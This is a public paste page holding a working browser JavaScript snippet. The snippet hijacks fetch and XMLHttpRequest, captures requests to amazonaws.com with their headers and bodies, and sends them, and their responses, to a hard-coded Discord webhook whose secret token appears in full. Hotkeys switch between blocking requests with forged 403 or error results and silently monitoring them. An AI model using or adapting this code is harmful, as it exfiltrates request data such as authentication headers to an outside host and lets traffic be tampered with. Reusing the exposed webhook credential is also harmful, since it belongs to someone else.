uus

📅 2025-09-23T21:25:31.008Z
👁️ 64 katselukertaa
🔓 Julkinen


(() => {
    const WEBHOOK_URL = "https://discord.com/api/webhooks/1419964671615696926/s6t-FigGdl3aa94q2VHl7DTrJFgIrlK89Cq2CunG02r3X3AhZPK14J5j-zK_pAAeUI81";
    let blocking = false;
    let monitor = false;
  
    function getHeadersObj(headers) {
      const obj = {};
      if (!headers) return obj;
      if (headers.forEach) headers.forEach((v, k) => obj[k] = v);
      else Object.assign(obj, headers);
      return obj;
    }
  
    const origFetch = window.fetch.bind(window);
  
    async function sendToDiscordFile(data) {
      try {
        if (data.response?.body && typeof data.response.body === "string") {
          try { data.response.body = JSON.parse(data.response.body); } catch {}
        }
        const blob = new Blob([JSON.stringify(data, null, 2)], { type: "application/json" });
        const form = new FormData();
        form.append("file", blob, "request.json");
        await fetch(WEBHOOK_URL, { method: "POST", body: form });
      } catch (e) {
        console.warn("Failed to send to Discord:", e);
      }
    }
  
    window.fetch = async function(input, options = {}) {
      options = options || {};
      if (options.__internal_fetch) return origFetch(input, options);
  
      const request = new Request(input, options);
      const url = request.url;
      const method = (request.method || "GET").toUpperCase();
      const headers = getHeadersObj(request.headers);
      let body = null;
      try {
        const text = await request.clone().text();
        const contentType = headers['Content-Type'] || headers['content-type'] || '';
        if (contentType.includes('application/json') && text) {
          try { 
            body = JSON.parse(text); 
          } catch { 
            body = text; 
          }
        } else {
          body = text;
        }
      } catch (e) { 
        body = "<failed to read body>"; 
      }
  
      if ((blocking || monitor) && url.includes("amazonaws.com")) {
        const requestData = { url, method, headers, body };
        console.log("Captured fetch request:", requestData);
  
        if (blocking) {
          sendToDiscordFile(requestData);
          return new Response(JSON.stringify({ blocked: true }), { status: 403, statusText: "Blocked", headers: { "Content-Type": "application/json" } });
        }
  
        if (monitor) {
          const resp = await origFetch(input, options);
          let respBody = null;
          try {
            const text = await resp.clone().text();
            try { respBody = JSON.parse(text); } catch { respBody = text; }
          } catch (e) { respBody = "<failed>"; }
          const respHeaders = getHeadersObj(resp.headers);
          sendToDiscordFile({ request: requestData, response: { status: resp.status, statusText: resp.statusText, headers: respHeaders, body: respBody } });
          return resp;
        }
      }
  
      return origFetch(input, options);
    };
  
    (function() {
      const origOpen = XMLHttpRequest.prototype.open;
      const origSend = XMLHttpRequest.prototype.send;
      const origSetHeader = XMLHttpRequest.prototype.setRequestHeader;
  
      XMLHttpRequest.prototype.open = function(method, url, ...args) {
        this.__intercept = { method, url, headers: {} };
        return origOpen.apply(this, [method, url, ...args]);
      };
  
      XMLHttpRequest.prototype.setRequestHeader = function(key, value) {
        if (this.__intercept) this.__intercept.headers[key] = value;
        return origSetHeader.apply(this, arguments);
      };
  
      XMLHttpRequest.prototype.send = function(body) {
        const xhr = this;
        const { method, url, headers } = xhr.__intercept || {};
        let bodyPreview = null;
        
        if (!body) {
          bodyPreview = null;
        } else if (typeof body === "string") {
          // Try to parse as JSON if content-type suggests it
          const contentType = headers['Content-Type'] || headers['content-type'] || '';
          if (contentType.includes('application/json')) {
            try {
              bodyPreview = JSON.parse(body);
            } catch {
              bodyPreview = body;
            }
          } else {
            bodyPreview = body;
          }
        } else if (body instanceof Uint8Array || body instanceof Uint16Array || body instanceof Uint32Array || 
                   body instanceof Int8Array || body instanceof Int16Array || body instanceof Int32Array ||
                   body instanceof Float32Array || body instanceof Float64Array) {
          // Handle typed arrays - convert to string and try to parse as JSON
          try {
            const decoder = new TextDecoder('utf-8');
            const text = decoder.decode(body);
            const contentType = headers['Content-Type'] || headers['content-type'] || '';
            if (contentType.includes('application/json')) {
              try {
                bodyPreview = JSON.parse(text);
              } catch {
                bodyPreview = text;
              }
            } else {
              bodyPreview = text;
            }
          } catch (e) {
            bodyPreview = `[TypedArray:${body.constructor.name}, length:${body.length}]`;
          }
        } else if (typeof body === "object" && body !== null && !(body instanceof FormData) && !(body instanceof Blob) && !(body instanceof ArrayBuffer)) {
          // Check if it's an object with numeric keys (like a typed array converted to object)
          const keys = Object.keys(body);
          if (keys.length > 0 && keys.every(key => /^\d+$/.test(key))) {
            // This looks like a typed array converted to object, try to reconstruct
            try {
              const values = Object.values(body);
              const uint8Array = new Uint8Array(values);
              const decoder = new TextDecoder('utf-8');
              const text = decoder.decode(uint8Array);
              const contentType = headers['Content-Type'] || headers['content-type'] || '';
              if (contentType.includes('application/json')) {
                try {
                  bodyPreview = JSON.parse(text);
                } catch {
                  bodyPreview = text;
                }
              } else {
                bodyPreview = text;
              }
            } catch (e) {
              bodyPreview = body;
            }
          } else {
            // Handle plain JavaScript objects (which get JSON.stringify'd by the browser)
            bodyPreview = body;
          }
        } else if (body instanceof FormData) {
          bodyPreview = {};
          for (const [k, v] of body.entries()) bodyPreview[k] = v instanceof File ? `[File:${v.name}]` : v;
        } else if (body instanceof Blob) {
          // Try to read blob content if it's likely JSON
          const contentType = headers['Content-Type'] || headers['content-type'] || '';
          if (contentType.includes('application/json')) {
            const reader = new FileReader();
            reader.onload = function() {
              try {
                const jsonData = JSON.parse(reader.result);
                // Update the bodyPreview in the request data
                if (xhr.__intercept) {
                  xhr.__intercept.bodyPreview = jsonData;
                }
              } catch {
                // Keep as blob representation
              }
            };
            reader.readAsText(body);
            bodyPreview = `[Blob:${body.size} bytes, type:${body.type}]`;
          } else {
            bodyPreview = `[Blob:${body.size} bytes, type:${body.type}]`;
          }
        } else if (body instanceof ArrayBuffer) {
          // Try to decode ArrayBuffer as text if it might be JSON
          const contentType = headers['Content-Type'] || headers['content-type'] || '';
          if (contentType.includes('application/json')) {
            try {
              const decoder = new TextDecoder('utf-8');
              const text = decoder.decode(body);
              bodyPreview = JSON.parse(text);
            } catch {
              bodyPreview = `[ArrayBuffer:${body.byteLength} bytes]`;
            }
          } else {
            bodyPreview = `[ArrayBuffer:${body.byteLength} bytes]`;
          }
        } else {
          bodyPreview = `<binary/unknown:${typeof body}>`;
        }
  
        if ((blocking || monitor) && url && url.includes("amazonaws.com")) {
          const requestData = { url, method, headers, body: bodyPreview };
          console.log("Captured XHR request:", requestData);
  
          if (blocking) {
            sendToDiscordFile(requestData);
            try { xhr.abort(); } catch (e) {}
            setTimeout(() => { try { xhr.dispatchEvent(new Event('error')); } catch (e) {} }, 0);
            return;
          }
  
          if (monitor) {
            xhr.addEventListener("readystatechange", function() {
              if (xhr.readyState === 4) {
                let respBody = null;
                try {
                  if (xhr.responseType === "" || xhr.responseType === "text") {
                    try { respBody = JSON.parse(xhr.responseText); } catch { respBody = xhr.responseText; }
                  } else if (xhr.responseType === "json") respBody = xhr.response;
                  else {
                    try { respBody = new TextDecoder("utf-8").decode(xhr.response); } catch { respBody = "<unreadable>"; }
                  }
                } catch (e) { respBody = "<failed>"; }
  
                sendToDiscordFile({ request: requestData, response: { status: xhr.status, statusText: xhr.statusText, headers: {}, body: respBody } });
              }
            });
          }
        }
  
        return origSend.apply(this, arguments);
      };
    })();
  
    document.addEventListener("keydown", e => {
      const active = document.activeElement;
      if (active && (active.tagName === "INPUT" || active.tagName === "TEXTAREA" || active.isContentEditable)) return;
      if (e.key === "Enter") { blocking = !blocking; console.log(blocking ? "🚫 Blocking amazonaws.com requests" : "✅ Normal mode"); }
      if (e.key === "Home") { monitor = !monitor; console.log(monitor ? "📡 Monitor amazonaws.com requests (responses sent)" : "✅ Monitor OFF"); }
    });
  
    console.log("✅ Interceptor loaded. Enter = block, Home = monitor with responses.");
  })();